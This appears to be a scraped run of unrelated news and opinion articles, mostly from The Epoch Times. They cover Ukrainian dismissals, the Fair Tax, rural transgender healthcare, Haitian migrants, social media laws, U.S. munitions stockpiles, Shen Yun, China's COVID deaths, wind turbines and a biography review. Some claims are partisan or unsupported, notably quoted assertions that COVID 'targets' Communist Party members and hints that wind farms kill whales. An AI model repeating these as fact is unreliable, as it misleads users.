Late on Tuesday Zelenskyy published decrees finalizing the dismissal of the governors of the regions of Dnipropetrovsk, Zaporizhzhia, Kyiv, Sumy, and Kherson.

Deputy Prosecutor General Oleksiy Symonenko, who had come under fire in local media for holidaying with his family in Marbella in Spain, was removed from his post.

By Olena Harmash and Tom Balmforth
United We Cut Taxes, Divided We Fall

Republican members-elect celebrate as House Republican Leader Kevin McCarthy (R-Calif.) is elected speaker of the House in the House Chamber at the U.S. Capitol Building in Washington, on Jan. 6, 2023. (Win McNamee/Getty Images)

Commentary

The principle that above all others has united the Republican Party since Ronald Reagan took it over from those content with permanent minority status for the GOP more than four decades ago is: Taxes must be cut, especially the types of taxes that hamper generating lots of jobs in the U.S. economy.

From Americas grassroots to the White House, we will stand united as a party behind a bold program of tax rate reductions, spending restraints, and regulatory reforms that will inject new life into the economic bloodstream of this country, declared the 1980 Republican Party platform in language with which Republicans from Reagan to the Tea Party spawned by the election of Barack Obama to the most hardcore MAGA loyalist of today would be comfortable.

Far from exhibiting complacency after the historic 25 percent Kemp-Roth income tax rate cuts during Reagans first term, in his second term he signed a tax reform and simplification law that brought the top income tax rate down to 28 percent. Considering that there were no pro-growth policies that can be identified during the Clinton administration, the Reagan tax reductions can be said to be responsible not only for the boom of the 1980s but for the tech-driven economic expansion of the 1990s as well.

Even Jimmy Carter in his successful 1976 campaign elicited cheers by regularly calling the U.S. tax code, with its 14 brackets and innumerable loopholes, a disgrace to the human race; yet over his four years in office, he was never able to bring its suffocatingly high 70 percent top rate down to his proposed 50 percent, or accomplish much else.

Which all goes to show that convincing voters you will cut taxes wins elections for both Republicans and Democrats. But reducing taxes once youre in power is another matter entirely, especially if your party isnt with the program. The middle-class tax cut that was the centerpiece of Bill Clintons 1992 Its the economy, stupid campaign, which unseated an incumbent president, George H.W. Bush, running for reelection for only the second time in U.S. history up to then, was immediately abandoned and never did materialize during the eight years Bill Clinton held office.

Now House Republicans may stage a vote on taxes that telegraphs to their enemies across the aisle, and to voters seeking candidates with credibility, that they no longer stand united as a party behind a bold program of tax rate reductions. Instead, to use the Democrats soundbite, as much a distortion as it may be, Republicans support a new 30 percent national sales tax on thousands of items that Americans of modest means have to buy every day, from groceries to gas, as President Joe Biden put it.

A floor vote on the Fair Tax was demanded by a handful of House Republicans as one of the costs for their support of, or acquiescence to, Rep. Kevin McCarthy (R-Calif.) becoming speaker of the House of Representatives. Its a bigger idea than Reagans 1986 reform, bigger even than the low-rate flat income tax championed by arguably the driving force behind Reaganomics, the late Jack Kemp, and still supported today by an eloquent champion of capitalism, Steve Forbes. Even Democrats like ex-longtime California Gov. Jerry Brown supported versions of the flat tax, in Browns case using it to become the last opponent to bow out of the 1992 race for the Democratic presidential nomination before it was secured by Clinton.

Abolishing the income tax and the Internal Revenue Service and replacing that system with a high-rate national sales tax is all about draining the swamp in Washingtonbut in fairness, so is the flat tax, which would end the class warfare-motivated graduated rate structure of progressive taxation.

Critics of the Fair Tax point out that the disbanded army of IRS agents would be replaced by two new bureaucratic entities tasked with collecting levies on sales and excises. Plus proponents concede there would have to be major allowances and loopholes from the beginningthose politically motivated accretions that ultimately produced the disgrace to the human race that Reagan succeeded in reforming. Worse still, unless the Sixteenth Amendment, which rendered taxes on income legal, is repealed, a future Congress could bring the income tax back to operate in addition to the new national sales tax, which could morph into a European-style hidden value-added taxall of which would be the worst nightmare of those seeking to constrain the taxman and shrink government.

Steve Moore, chief economist of The Heritage Foundation, who served as a senior economic adviser to former President Donald Trump, and before that was one of the architects of the original version of the Fair Tax, this week told The Epoch Times that Rep. Buddy Carter (R-Ga.) and the other House Republicans behind the current version never contacted him, which seems odd, considering Moores free market/low tax bone fides and his decades of experience fighting the high-tax Washington establishment.

Moore calls the current federal tax system an abomination and would love to abolish the income tax, which he regards as one of the worst ways to collect taxes, the scrapping of which he says would mean every worker gets a big pay raise. But today he worries that a high rate national sales tax would inevitably mean a large black market in the many goods subject to it. For both economic and political reasons, a flat tax geared to tax consumption rather than wealth seems preferable right now, according to Moore.

Another advocate for tax reform, Grover Norquist, president of Americans for Tax Reform and the originator of the ATR Pledge against voting to increase taxes, has for decades kept Republicans in elected office honest on the issue. Interviewed by The Epoch Times, Norquist posed a question to House Republicans promoting a national sales tax.

What would you say to a couple turning 65? Norquist asked. Theyve spent decades paying income taxes and now when theyre not earning income, you are going to end the income tax, and as they look to spend their life savings, you will cut their savings value by 30 percent because everything they buy will now be subject to the national sales tax? You know, 65-year-olds tend to vote.

Fair Tax versus flat tax may be a debate worth having, but with no hope of either idea being enacted under a Democrat-majority U.S. Senate and a Democrat in the White House, this is no time to stage a floor vote that can only hurt the cause of lower taxes and smaller government.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
For Tammy Rainey, finding a health care provider who knows about gender-affirming care has been a challenge in the rural northern Mississippi town where she lives.

As a transgender woman, Rainey needs the hormone estrogen, which allows her to physically transition by developing more feminine features. But when she asked her doctor for an estrogen prescription, he said he couldnt provide that type of care.

Hes generally a good guy and doesnt act prejudiced. He gets my name and pronouns right, said Rainey. But when I asked him about hormones, he said, I just dont feel like I know enough about that. I dont want to get involved in that.

So Rainey drives around 170 miles round trip every six months to get a supply of estrogen from a clinic in Memphis, Tennessee, to take home with her.

The obstacles Rainey overcomes to access care illustrate a type of medical inequity that transgender people who live in the rural U.S. often face: a general lack of education about trans-related care among small-town health professionals who might also be reluctant to learn.

Medical communities across the country are seeing clearly that there is a knowledge gap in the provision of gender-affirming care, said Dr. Morissa Ladinsky, a pediatrician who co-leads the Youth Multidisciplinary Gender Team at the University of Alabama-Birmingham.

Accurately counting the number of transgender people in rural America is hindered by a lack of U.S. census data and uniform state data. However, the Movement Advancement Project, a nonprofit organization that advocates for LGBTQ+ issues, used 2014-17 Centers for Disease Control and Prevention data from selected ZIP codes in 35 states to estimate that roughly 1 in 6 transgender adults in the U.S. live in a rural area. When that report was released in 2019, there were an estimated 1.4 million transgender people 13 and older nationwide. That number is now at least 1.6 million, according to the Williams Institute, a nonprofit think tank at the UCLA School of Law.

One in 3 trans people in rural areas experienced discrimination by a health care provider in the year leading up to the 2015 U.S. Transgender Survey Report, according to an analysis by MAP. Additionally, a third of all trans individuals report having to teach their doctor about their health care needs to receive appropriate care, and 62% worry about being negatively judged by a health care provider because of their sexual orientation or gender identity, according to data collected by the Williams Institute and other organizations.

A lack of local rural providers knowledgeable in trans care can mean long drives to gender-affirming clinics in metropolitan areas. Rural trans people are three times as likely as all transgender adults to travel 25 to 49 miles for routine care.

In Colorado, for example, many trans people outside Denver struggle to find proper care. Those who do have a trans-inclusive provider are more likely to receive wellness exams, less likely to delay care due to discrimination, and less likely to attempt suicide, according to results from the Colorado Transgender Health Survey published in 2018.

Much of the lack of care experienced by trans people is linked to insufficient education on LGBTQ+ health in medical schools across the country. In 2014, the Association of American Medical Colleges, which represents 170 accredited medical schools in the United States and Canada, released its first curriculum guidelines on caring for LGBTQ+ patients. As of 2018, 76% of medical schools included LGBTQ health themes in their curriculum, with half providing three or fewer classes on this topic.

Perhaps because of this, almost 77% of students from 10 medical schools in New England felt not competent or somewhat not competent in treating gender minority patients, according to a 2018 pilot study. Another paper, published last year, found that even clinicians who work in trans-friendly clinics lack knowledge about hormones, gender-affirming surgical options, and how to use appropriate pronouns and trans-inclusive language.

Throughout medical school, trans care was only briefly mentioned in endocrinology class, said Dr. Justin Bailey, who received his medical degree from UAB in 2021 and is now a resident there. I dont want to say the wrong thing or use the wrong pronouns, so I was hesitant and a little bit tepid in my approach to interviewing and treating this population of patients, he said.

On top of insufficient medical school education, some practicing doctors dont take the time to teach themselves about trans people, said Kathie Moehlig, founder of TransFamily Support Services, a nonprofit organization that offers a range of services to transgender people and their families. They are very well intentioned yet uneducated when it comes to transgender care, she said.

Some medical schools, like the one at UAB, have pushed for change. Since 2017, Ladinsky and her colleagues have worked to include trans people in their standardized patient program, which gives medical students hands-on experience and feedback by interacting with patients in simulated clinical environments.

For example, a trans individual acting as a patient will simulate acid reflux by pretending to have pain in their stomach and chest. Then, over the course of the examination, they will reveal that they are transgender.

In the early years of this program, some students bedside manner would change once the patients gender identity was revealed, said Elaine Stephens, a trans woman who participates in UABs standardized patient program. Sometimes they would immediately start asking about sexual activity, Stephens said.

Since UAB launched its program, students reactions have improved significantly, she said.

This progress is being replicated by other medical schools, said Moehlig. But its a slow start, and these are large institutions that take a long time to move forward.

Advocates also are working outside medical schools to improve care in rural areas. In Colorado, the nonprofit Extension for Community Health Outcomes, or ECHO Colorado, has been offering monthly virtual classes on gender-affirming care to rural providers since 2020. The classes became so popular that the organization created a four-week boot camp in 2021 for providers to learn about hormone therapy management, proper terminologies, surgical options, and supporting patients mental health.

For many years, doctors failed to recognize the need to learn about gender-affirming care, said Dr. Caroline Kirsch, director of osteopathic education at the University of Wyoming Family Medicine Residency Program-Casper. In Casper, this led to a number of patients traveling to Colorado to access care, which is a large burden for them financially, said Kirsch, who has participated in the ECHO Colorado program.

Things that havent been as well taught historically in medical school are things that I think many physicians feel anxious about initially, she said. The earlier you learn about this type of care in your career, the more likely you are to see its potential and be less anxious about it.

Educating more providers about trans-related care has become increasingly vital in recent years as gender-affirming clinics nationwide experience a rise in harassment and threats. For instance, Vanderbilt University Medical Centers Clinic for Transgender Health became the target of far-right hate on social media last year. After growing pressure from Tennessees Republican lawmakers, the clinic paused gender-affirmation surgeries on patients younger than 18, potentially leaving many trans kids without necessary care.

Stephens hopes to see more medical schools include coursework on trans health care. She also wishes for doctors to treat trans people as they would any other patient.

Just provide quality health care, she tells the medical students at UAB. We need health care like everyone else does.

KHN (Kaiser Health News) is a national newsroom that produces in-depth journalism about health issues. Together with Policy Analysis and Polling, KHN is one of the three major operating programs at KFF (Kaiser Family Foundation). KFF is an endowed nonprofit organization providing information on health issues to the nation.
US Coast Guard Intercepts Boat with 400 Haitian Migrants Off the Bahamas: Report

The U.S. Coast Guard on Jan. 21 intercepted a ship carrying 396 Haitian migrants near the Bahamas. (U.S. Coast Guard)

The U.S. Coast Guard has detained a 50-foot boat crammed with nearly 400 Haitian migrants near the Bahamas.

The migrant ship carrying 396 unlawful entrants from the Republic of Haiti was intercepted on Saturday near Cay Sal Bank, an island between Florida and Cuba, according to Bahamian immigration authorities.

In a video shared by the Coast Guard, a rescue group can be seen approaching the passengers, many of whom could barely keep themselves from falling off the overloaded sailing boat.

Nicole Groll, a spokesperson for the Coast Guard, told the Associated Press that the vessel was grossly overloaded and very much unsafe.

Bahamian officials said the migrants will undergo customary screening and stay at a detention facility on the Bahamian island of Inagua while waiting to be sent back to Haiti as quickly as possible.

While the Bahamian government didnt disclose the destination where the vessel was sailing, recent years have seen sea-borne migrants from Haiti, Cuba, and many other countries, with the help of smugglers, trying to use the Bahamas as a springboard to Florida.

Earlier this month, Florida Gov. Ron DeSantis declared a state of emergency, directing the states National Guard and state agencies to support local governments to deal with the influx of illegal immigrants, which he said is likely to constitute a major disaster.

The number of individuals attempting to come to the United States and unauthorized alien interdictions in and around Florida has risen to alarming levels not seen for decades, the Republican governor said, noting that this could continue to overburden the local governments throughout his state.

From august 2022 to the present, federal, state, and local officials have interdicted approximately 8,042 migrants in Floridas territorial waters alone.

These sea crossings, usually carried out by unseaworthy and overloaded boats, are not only illegal but also deadly. The Coast Guard has repeatedly warned would-be illegal immigrants that they should not risk their lives to embark on such voyages.

Please do not encourage your family or friends to risk the dangerous journey across the Florida Straits, Windward Pass, Mona Pass or Caribbean Sea on unsafe, overloaded vessels, the Coast Guards Florida Unit said in a warning ahead of last years Christmas. Do not send them money for the purpose of funding their illegal ventures or to pay human smugglers whose empty promises may result in an empty chair at the family table this winter.

The military unit, headquartered in Miami, also noted that Homeland Security agents are also patrolling 24/7 by land, air and sea to intercept vessels trying to illegally enter the southern maritime border.

Choose a safe, legal pathway to migration, the Coast Guard advised.
US Supreme Court Seeks Biden Admin Input on Texas, Florida Social Media Laws

The Supreme Court has invited the Biden administration to give input on laws in Florida and Texas that allow users to sue large social media companies over censorship.

NetChoice, a coalition of trade associations representing Twitter, Facebook, Google, and other social media and e-commerce companies, brought the case to challenge the states laws.

Both state laws are currently temporarily blocked.

The Supreme Court, which is considering hearing the cases, first invited the U.S. Department of Justice to weigh in, effectively delaying the courts decision on whether to review the three cases, which have the potential to establish the constitutionality of laws in Texas and Florida.

The cases are disputes between the freedom of expression of individual Americans on the internet against the rights of social media platforms to make editorial decisions about content.

Texas and Florida passed the laws to address perceived censorship of conservative users on social media platforms like Facebook and Twitter. The laws aim to regulate the content moderation policies of these companies.

Those against the laws have argued that content moderation or censorship is needed to stop the spread of allegedly false information and so-called hate speech.

Both state laws were passed in 2021 in response to a rise in criticism from conservative voices about political censorship against them.

The Laws

The law in Texas, HB 20, bans social media platforms such as Facebook and Twitter from censoring speech based on the users viewpoint, the viewpoint of another user, or the users geographic location in Texas.

NetChoice has sought to appeal a lower court ruling on Sept. 16, 2022 that upheld the Texas law. The U.S. Court of Appeals for the 5th Circuit ruled that Texas HB 20 was constitutional, rejecting, in its words, the idea that corporations have a freewheeling First Amendment right to censor what people say.

The Texas law does not chill speech; if anything, it chills censorship, the ruling states. The Texas law had previously been blocked by the Supreme Court at an earlier stage of the case.

The Florida law, SB 7072, known as the Stop Social Media Censorship Act, blocks social media platforms from banning political candidates, among other things. On May 23, 2022, the U.S. Court of Appeals for the 11th Circuit struck down much of Floridas law. The state has since sought to revive it.

When Florida Gov. Ron DeSantis, a Republican, signed the measure, he said its purpose was to fight the biased silencing of conservatives freedom of speech by the big tech oligarchs in Silicon Valley.

NetChoice contends that the First Amendment right of freedom of speech safeguards the ability of social media platforms to exercise editorial discretion in censoring content; it also prohibits the government from compelling them to publish and distribute content against their will or reveal their internal moderation practices.

Without such censorship, the platforms would be overrun with spam, bullying, extremism, and hate speech, according to social media companies.

Floridas legislation mandates platforms with a minimum user base of 100 million to disclose their censorship policies and apply them consistently among users, regardless of whether or not they would prefer to host some speech that they might otherwise prefer not to host. Additionally, the law prohibits the banning of any political candidates.

The Texas law, on the other hand, bars social media companies with a minimum monthly active user base of 50 million from taking any action that may be viewed as censoring users based on their viewpoint.

Reuters contributed to this report.
US Would Run Out of Munitions in War With China: Report

Servicemen of Ukrainian Military Forces move U.S.-made FIM-92 Stinger missiles and the other military assistance shipped from Lithuania to Boryspil Airport in Kyiv, on Feb. 13, 2022. (Sergei Supinsky/AFP via Getty Images)

The United States would likely run out of critical munitions during a major conflict with Chinas communist regime due to its inability to adequately mobilize the defense industrial base, according to a new report.

The report, titled Empty Bins in a Wartime Environment, examines how the United States has depleted key arms reserves by supplying Ukraines resistance against Russian invasion, and extrapolates how a similar situation could negatively impact the nation in a wartime scenario.

The U.S. defense industrial base is not adequately prepared for the competitive security environment that now exists, says the report published on Jan. 23 by the Center for Strategic and International Studies (CSIS), a security-focused think tank.

In a major regional conflictsuch as a war with China in the Taiwan Straitthe U.S. use of munitions would likely exceed the current stockpiles of the U.S. Department of Defense (DoD), leading to a problem of empty bins.

Empty Bins follows closely behind the release of results from CSIS wargames, which found that the United States would suffer from low levels of vital munitions in a war with China over the continued de facto independence of Taiwan.

That wargame found that Japan and the United States could likely defeat an invasion of Taiwan by communist China, but only at great cost in lives and materiel. In such a conflict, the United States would likely run out of long-range anti-ship missiles (LRASMs) early on.

The problem is the U.S. has such low stockpiles for those long-range anti-ship missiles that in our wargames, in multiple iterations of the wargame, we run out [of LRASMs] in less than a week virtually every time, said Seth Jones, the author of Empty Bins, in an associated video.

We cannot fight in that case in protracted war because we dont have sufficient supply of munitions.

US Unprepared for a Major War

The United States ill-preparedness for a conflict with communist China has long been a point of contention among lawmakers and defense policy experts.

Taiwanese navy launches a U.S.-made Standard missile from a frigate during the annual Han Kuang Drill on the sea near the Suao navy harbor in Yilan county, Taiwan, on July 26, 2022. (Sam Yeh/AFP via Getty Images)

Back in 2021, for example, Rep. Mike Gallagher (R-Wis.) warned that the United States would probably lose a war for Taiwan, and noted trends in wargames over the past several years in which the United States regularly lost to China in simulated invasions of Taiwan.

Empty Bins adds further context to the issue by analyzing how the United States has rapidly depleted critical munitions through its support of Ukraine, noting that the nations stockpiles of Stinger surface-to-air missiles, 155-millimeter howitzers and ammunition, and Javelin anti-tank missile systems have plummeted.

The report notes that the United States has sent more Stinger missiles to Ukraine in the last year than have been built for all non-U.S. customers over the last 20 years. Likewise, the nation has delivered more than 1 million 155-mm artillery rounds to Ukraine, and only placed orders to replace a fraction of that amount.

More broadly, the war in Ukraine has demonstrated that competition and conflict between major powers will require a strong industrial base in the United States and in key ally and partner countries, the report says.

The effort to deploy, arm, feed, and supply forces is a monumental task, and the massive consumption of equipment, systems, vehicles, and munitions requires a large-scale industrial base for resupply.

Thus, the report says, the problem is not that the United States is providing support to Ukraine, as a defense of Taiwan would draw largely on different kinds of munitions and weapons platforms. Instead, the problem rests in the United States sluggish procurement processes and lack of a robust defense industrial base for munitions manufacturing.

The Javelin surface-to-air missile system, for example, requires a production lead time of approximately 30 months. This means that, if the United States were to order new units of the system today, it would take more than two years before they were in the hands of the military.

Notably, such slow estimates are what is achievable in peacetime. During war, procurement could take much longer when supply chains are disrupted and vital components like rare earth elements are scarce.

These shortfalls would make it extremely difficult for the United States to sustain a protracted conflictand, equally concerning, the deficiencies undermine deterrence, the report says.

They also highlight that the U.S. defense industrial base lacks adequate surge capacity for a major war.

To that end, the report recommends creating a break-glass plan in which the government could streamline industrial production, acquisition, and deployment in wartime.

Similarly, the report suggests that the United States create a strategic munitions reserve that would include subcomponents with long production lead times, like metals and electronics.

Only by shoring up its defenses and rebuilding its stockpiles now, the report says, can the United States deter or win a conflict later.

The main problem is that the U.S. defense industrial baseincluding the munitions industrial baseis not currently equipped to support a protracted conventional war, the report says.

With growing competition between the United States and Chinaalong with continuing threats from Russia, Iran, North Korea, and terrorist groupsthe U.S. military needs to be prepared to fight at least one major war, if not two.
Mr. Fukaya Yukio, a former board member of a famous Japanese transportation company, attends Shen Yun Performing Arts at the Tochigi Prefecture Cultural Center in Utsunomiya, Japan, on Jan. 22, 2023. (Wang Wenliang/The Epoch Times)

UTSUNOMIYA, JapanA Japanese hospital president saw Shen Yun Performing Arts, and praised its perfect choreography and skilled dancers.

Shen Yun dancers skills are really super high and the dances are very beautiful, said Mr. Fujita Hajime, the president of Fujita Hospital, after attending Shen Yun at the Tochigi Prefecture Cultural Center in Utsunomiya on Jan. 22.

The male dancers are agile, fast-paced, and intense. You wont find anyone like them in Japan, he said. The female dancers are so elegant and graceful. Their movements are far beyond the skills that Japanese dancers have.

Mr. Fujita said the experience was tremendously entertaining.

The stage and backdrop coordinate with each other seamlessly, as if one entity  the backdrop is so vivid, clear, clean, and beautiful. This technology is really extraordinary, he said.

He felt it delivered a special cultural value as well.

The performance presented traditional values and the spirit of the ethnicities. These are very different from Communist China, he said. The ancient Chinese people placed great emphasis on the connection between humans and divine beings.

New York-based Shen Yun is the worlds top classical Chinese dance company, and has a mission to show the beauty and goodness of China before communism.

For 5,000 years Chinas civilization was built on values and virtues from the spiritual teachings of Buddhism, Taoism, and Confucianism.

It Has Just Been Therapy for the Soul

Mr. Masukawa Masahiro is the director of the Junshan Folklore Museum. He attended Shen Yun with his wife and daughter.

The show is outstanding. Its richer than my expectations, he said. When the curtain lifted, the stage was full of clouds, and a magnificent scene emerged from the clouds. I was shocked when I saw it. I couldnt control myself and shouted Wow!

Mr. Masukawa was impressed by the dancers.

From their achievements on the stage, I can imagine how much effort it took. I think they are very admirable. I was very impressed by how great their dances are, he said.

Mr. Masukawa was surprised by Shen Yuns orchestra, which blends ancient instruments like the Chinese lute pipa and two-stringed erhu into a classical orchestra.

It only has two strings but can produce various sounds. Its tone is very soft, and the music is very relaxing and smooth. It has just been therapy for the soul and can the fatigue of daily life, he said.

Mr. Masukawa said he recommended Shen Yun: The show is amazing!

Mr. Masukawa Masahiro, the director of Junshan Folklore Museum, attends Shen Yun Performing Arts at the Tochigi Prefecture Cultural Center with his wife and daughter in Utsunomiya, Japan, on Jan. 22, 2023. (Niu Bin/The Epoch Times)

Each Shen Yun performance consists of nearly 20 vignettes, presented through highly-expressive art forms such as classical Chinese dance, original orchestral music performed live, soloists who sing in the bel canto tradition, animated digital backdrops, and more.

Now I Want to Know More About the Chinese Culture

Mr. Shimada Tatsuo enjoyed the erhu as well. He said Shen Yun opened a new door for him, in which he saw the rich Chinese culture.

This is the first time I attended a show that presents classical Chinese dance and traditional Chinese culture. I enjoyed it very much, he said. Now I want to know more about the Chinese culture, he said.

Mr. Shimada is the factory president of a well-known Japanese electric company. He said Shen Yun is the best in many aspects, such as the beauty of the costumes, the orchestras performance, and the dancers skills.

The female dancers movements are smooth as water, chic, and exquisite, he said. The male dancers movements are so cheerful and valiant.

Mr. Okazaki Yoshitaka was the president of a transportation company. He said he couldnt control his tears when he saw the beauty of Shen Yun.

I have never seen a show as beautiful as Shen Yun. Every aspect is very well designed, he said. Wonderful!

Mr. Watanabe Akira, the president of a company, concluded: I think the beauty of Shen Yun artists comes from their hearts.  Without having a beautiful heart, a musician cant compose this kind of beautiful music.

Reporting by Epoch Times Staff in Utsunomiya, Japan.

The Epoch Times is a proud sponsor of Shen Yun Performing Arts. We have covered audience reactions since Shen Yuns inception in 2006.
Wave of Celebrity Deaths in Chinas COVID Surge Casts Doubts Over Actual Toll

A Covid-19 patient on a stretcher in the emergency ward of the First Affiliated Hospital of Chongqing Medical University in China's southwestern city of Chongqing on Dec. 22, 2022. (Noel Celis/AFP via Getty Images)

The growing number of deaths of celebrities and public figures in China has cast further doubt on the official death toll as the country battles an extreme outbreak that shows little sign of easing.

Since late November, more than 330 Chinese celebrities, officials, and scholars have died, according to a tally by The Epoch Times. While the cause of death is not listed in obituaries or official reports, they coincide with the latest COVID surge around the country.

While the Chinese regime continues to vastly underreport the number of fatalities, the high infection rate, and widespread accounts of overwhelmed hospitals and crematoriums points to a death toll far higher than official reports.

Mourners gather outside the memorial halls for the deceased at a funeral home in Shanghai, China, on Dec. 31, 2022. (Qilai Shen/Bloomberg via Getty Images)

The uptick in deaths of prominent figures is another factor indicating the true scale of the virus, according to Wang He, a U.S.-based China affairs commentator. Given that the elite in China typically enjoy access to superior medical treatment, the large number of their deaths shows that the current COVID-19 epidemic situation in China is very severe and brutal, and its very dangerous, Wang told the Chinese-language edition of The Epoch Times.

Another U.S.-based China affairs commentator Qin Peng described the surge in celebrity deaths as a slap in the face to the Chinese Communist Party (CCP), which has always claimed that its pandemic control measures, from the draconian zero-COVID policy to its abrupt reversal of the policy in December, are made for the sake of the people.

Given that the health system has collapsed amid the COVID surge, and medical supplies are exceedingly scarce, Qin believes that now only high-level officials are given priority access to health treatment. This means that celebrities and scholars have found themselves locked out, just like the rest of the population.

But even so, many CCP officials have died amid the outbreak. Obituaries show that more than 60 veteran cadres of the CCPs Ministry of Foreign Affairs have died.

Qin, speaking on his program on NTD, the sister media outlet of The Epoch Times, believes that this wave of COVID outbreak in China has three distinct features: the high speed of transmission, which is unique in the world; the sudden increase in deaths among Party officials and celebrities; and a large number of severe cases and deaths.

Hundred of people march in a parade in downtown Toronto on Aug. 6, 2022, to celebrate 400 million Chinese people quitting the Chinese Communist Party and its affiliated organizations. (Evan Ning/The Epoch Times)

These unique traits indicate that the virus specifically targets the CCP, Qin said.

We observed that many Chinese people now say that because the CCP has done a lot of evil, the virus really seems to have eyes now, and its aiming at these people of the CCP, he said.

Wang concurred, pointing to traditional Chinese beliefs about the reason for epidemics.

According to Chinese traditional culture, when this kind of great plague occurs, it means that there are large-scale unjust happenings in the world, Wang said.

He pointed to the Chinese regimes long list of atrocities against its own people, including its 23-year-long persecution of the spiritual practice Falun Gong.

The practice, composed of meditative exercises and a set of moral teachings rooted in ancient Chinese beliefs centered on the principles of truthfulness, compassion, and tolerance, became hugely popular in the 1990s with an estimated 100 million adherents by the end of the decade. Deeming this a threat, the communist regime launched a sweeping persecution of Falun Gong, resulting in millions of adherents being thrown into detention facilities where they have been subjected to torture, cruel treatment, and forced organ harvesting.

Wang said that during this dehumanizing persecution, the CCP has lied a lot to justify it and to cover it up, a playbook its followed during the pandemic.

He urged Chinese people to reexamine how they view the communist regime and break through its lies. This way, they can protect themselves amid the pandemic, he said.

Xia Dunhou and Chang Chun contributed to the report.
Wind Turbine Failures Becoming More Frequent, Wind Power Costs Rise as Wildlife Affected Negatively

Wind turbines across the United States have been failing more frequently in recent times, triggering concerns about additional costs resulting from such failures as well as their impact on wind-power projects. Offshore wind farms, deployed in the name of environmentalism, are now seen as disastrous for ocean life.

Some turbine failure include the one in the town of Ames, Oklahoma, where a wind turbine hundreds of feet tall collapsed in June. Manufactured by General Electric (GE), the turbine had been in operation for less than a year, according to a Bloomberg report. In Colorado, another GE turbine collapsed a few days later. The operator of the wind farm, NextEra Energy, blamed a blade flaw for the incident. In Dodge County, Wisconsin, part of a wind turbine owned by NextEra plummeted to the ground last week. Similar wind-turbine malfunctions have been reported in Europe as well.

These turbine failures are now occurring more often, and some experts are getting increasingly worried by the phenomenon. Were seeing these failures happening in a shorter time frame on the newer turbines, and thats quite concerning, Fraser McLachlan, chief executive officer of London-based GCube Underwriting Ltd., said to Bloomberg.

If the failure rate continues to increase, either new insurance coverage would be imposed or premiums would rise, he added. GCube, for example, insures roughly $3.5 billion in wind assets in 38 nations, said the report.

Rising Costs, US Wind Power Projects

Malfunctions in wind turbines range from small issues, like some key components becoming faulty, to full-blown collapses. Large wind-turbine makers like Siemens Gamesa, Vestas Wind Systems, and General Electric are having to bear additional hundreds of millions in costs due to these breakdowns.

For instance, GE reported a $500 million charge in the third quarter to cover repair and warranty costs of its turbines, according to Bloomberg. In 2019, Vestas set aside around 600 million for annual warranty provisions. This jumped to 1.2 billion in 2021.

The Epoch Times has reached out to Siemens Gamesa, Vestas Wind Systems, General Electric, and NextEra.

The increasing costs resulting from turbine failures will only add to the difficulty of expanding wind power in America as it will make such power generation more expensive, and economically unfeasible.

In the United States, the Biden administration has set a target of establishing 30 gigawatts of traditional offshore wind facilities in the countrys federal waters by the end of this decade. However, many wind-power projects are already facing cost issues.

In Rhode Island, for example, utility regulators are weighing suspending Mayflower Wind Energys application to set up transmission cables for the first part of a proposed wind-power project off Massachusetts. The project costs $5 billion, and questions are being raised about its financial viability, according to the Institute for Energy Research (IER).

Harming Whales, Environmental Issue

Offshore wind power projects are also facing opposition due to their alleged negative impact on whale populations and the environment.

The installation of wind turbines as well as the noise created by their operation can have a harmful effect on whales. Last year, an official from the National Oceanic and Atmospheric Administrations (NOAA) Northeast Fisheries Science Center (NEFSC) warned against setting up wind projects off the coast of New England because it would threaten the population of right whales in the region.

In 2011, there were around 478 of these creatures, a number that came down to 350 in 2022. Rep Jeff Van Drew (R-N.J.) is demanding an end to offshore wind activity in New Jersey after an unprecedented number of whales washed ashore in the region during recent weeks.

Ocean life is being put at risk as our governor and president force through their Green New Deal policies without giving full consideration to their real-world impacts, he said.

In April 2022, ESI Energy, a subsidiary of NextEra, was ordered to pay $35 million in fines, mitigation measures, and restitution fees for having killed 150 American bald eagles.
Being fully human is complicated. Having a foot in both the material and spiritual worlds and with an originally good but fallen nature, our thoughts, motivations, and desires often come into conflict, and we dont always choose what is best for us. Indeed, the decisions we make in our brokenness and complexity can have devastating consequences for ourselves and for otherspoverty, addiction, shattered relationships, etc. The succinct but weighty question What leads to human flourishing? is in fact an array of complex questions regarding how to solve those problems.

Quite often, however, the solution to a problem is to see the person enduring it. This was the method employed by Fr. Edward Dowling, S.J., an American Jesuit who inspired Bill W. in his work with Alcoholics Anonymous (AA). Edward Patrick Dowling was born in 1898 in St. Louis and spent most of his life there. In 1919 he joined the Society of Jesus and was ordained in 1931. He spent time as a teacher during his formation and worked as the editor of the Queens Work magazine, an outreach of the Jesuits international Sodality of Our Lady that focused on spreading devotion to Mary, for many years after his ordination. In 1940 he discovered Alcoholics Anonymous through assisting an alcoholic friend, met Bill Wilson, and launched a lifelong mission of spreading what he saw as a deeply spiritual and effective recovery aid for those struggling to conquer addiction.

The story of this heretofore hidden hero of the Church has recently achieved greater prominence in the first biography of Dowling, Father Ed: The Story of Bill W.s Spiritual Sponsor by Dawn Eden Goldstein. Published by Orbis Books in December 2022, the book reveals in 378 pages the life of a man whom Wilson called the greatest human soul that Im sure I shall ever know. With depth and style, Goldstein unveils the figure of Dowling and honors his tireless devotion to helping people with problems, thereby offering inspiration and hope to modern readers on their own healing journey.

This biography is the first of its kind, and the research that went into it is meticulous and truly far-reaching. Goldstein lifts facts from contemporaneous newspapers and publications, conducts interviews with surviving family and friends, scours the Jesuit archives and Dowlings personal correspondence, and even deciphers the order of events from extant personal calendars. She also offers well-reasoned explanations for any point about Dowling, Wilson, or the AA movement on which she differs from a prior source. The result is that Dowling comes alive in the pages as a vibrant, approachable, and faithful man of God whose concern for others amid their everyday difficulties impacted thousands of lives.

Based on the foreword, Goldstein seems to have written this book largely for herself as part of her own healing journey from childhood trauma. She also succeeds, however, in offering it to a much wider audience than just those seeking healing. This book is ideal for readers wanting to get a bigger picture of the AA movement and its beginnings, whether they are interested in AA on a historical or a personal level. It also provides a fascinating mid-20th-century snapshot of the Jesuit order in America for those interested. But it is on the whole commendable for ordinary readers wanting to be inspired by the story of a larger-than-life priest whose fatherly care helped many people find God in the midst of their brokenness.

